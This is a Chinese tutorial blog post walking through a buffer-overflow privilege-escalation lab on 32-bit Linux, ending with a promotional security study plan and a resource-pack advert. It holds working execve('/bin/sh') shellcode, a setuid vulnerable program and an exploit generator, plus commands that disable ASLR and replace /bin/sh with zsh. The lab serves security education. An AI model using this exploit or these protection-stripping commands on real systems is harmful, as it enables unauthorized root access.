缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
实验准备
- 之前一直听说缓冲区溢出攻击,具体是什么,怎么回事。一直没有学习过。正好今天有时间。一边学习一边写下此文。
- 本次实验只是想体会了解一下缓冲区溢出攻击,复现一次简单的提权过程。没有较为深入的学习。而且为了减少实验的复杂程度剔除了很多障碍。
为了方便观察汇编语言,本次操作建议在32位Ubuntu | linux操作系统中进行。
如果你目前的环境是64位可以输入下面的命令,安装一些用于编译 32 位 C 程序的软件包。之后用于使用32位程序包编译c程序。
$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev
初始设置
在 Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此为了方便(捂头)本次实验中,使用以下命令关闭这一功能:
$ sudo sysctl -w kernel.randomize_va_space=0
此外,操作系统为了进一步防范缓冲区溢出攻击或其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限。linux 系统中,/bin/sh
实际是指向 /bin/bash
或 /bin/dash
的一个符号链接。
在 /bin/bash
中存在这个防护措施。所以·····还是为了实验的简单,这里使用另一个 shell 程序(zsh)代替 /bin/bash
。使用下面的指令设置 zsh 程序:
- 我的实验环境和本地不同,具体命令可能会有所改变。
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
<img src="https://juejin.cn/ “1"” style=“margin: auto” />
shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。
#include <stdio.h>
int main() {char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);
}
本次实验的 shellcode,就是刚才代码的汇编版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
漏洞程序
首先我们先在tmp
目录建立一个漏洞程序stack.c
cd /tmp
vi stack.c
i
切换插入模式,输入下面的代码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str) {char buffer[12];/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1;
}
int main(int argc, char **argv) {char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。然后esc
输入:wq
保存退出。输入cat stack.c
检查一下程序是否完整。之后编译该程序,并设置 SET-UID。命令如下:
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
<img src="https://juejin.cn/ “2"” style=“margin: auto” />
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以在编译代码时需要用 –fno-stack-protector
关闭这种机制。 而 -z execstack
用于允许执行栈。
-g
参数是为了使编译后得到的可执行文档能用 gdb
调试。
攻击程序
建立这个程序的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。下面开始。
同样在 /tmp
目录下新建一个 exploit.c
文件,输入如下代码:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] ="\x31\xc0" //xorl %eax,%eax"\x50" //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin" //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99" //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;
void main(int argc, char **argv) {char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}
- 注意上面的代码,
\x??\x??\x??\x??
处需要添上shellcode
保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而strcpy(buffer+100,shellcode);
这一句又告诉我们,shellcode
保存在buffer + 100
的位置。下面来获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址,需要使用gdb调试。输入命令:
$ gdb stack
//输入后开始调试stack文件。然后输入下面的命令
$ disass main
<img src="https://juejin.cn/ “3"” style=“margin: auto” />
输入后可以看到调试的结果,第一个标红的代码是str起始的地方。第二个是我们需要设置断点,来获取地址的地方。
<img src="https://juejin.cn/ “4"” style=“margin: auto” />
回车继续,分别输入
b *0x080484e8 //回车
r//回车
i r $esp //回车
<img src="https://juejin.cn/ “5"” style=“margin: auto” />
成功返回了断点的地址:0xffffd060
。现在可以退出了q
回车 y
回车。
根据语句 strcpy(buffer + 100,shellcode);
还需要计算 shellcode
的地址。 0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)
现在返回修改exploit.c
文件!将\x??\x??\x??\x??
修改为 \xc4\xd0\xff\xff
<img src="https://juejin.cn/ “6"” style=“margin: auto” />
保存退出编辑,进行编译。
gcc -m32 -o exploit exploit.c
进行攻击&结果
先运行攻击程序exploit
,再运行漏洞程序stack
。whoami
是操作系统中用于查看当前有效用户名的命令。可见,通过攻击,获得了root 权限!
<img src="https://juejin.cn/ “7"” style=“margin: auto” />
结语
到此一个简单的缓冲区溢出漏洞实验就结束了。此次收获还是挺多的,粗略的学习了一下基本原理。今后如果有机会的话会更深入的去学习。接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。
![](https://i-blog.csdnimg.cn/blog_migrate/08c3b846393bdaea6409358cbf194580.jpeg)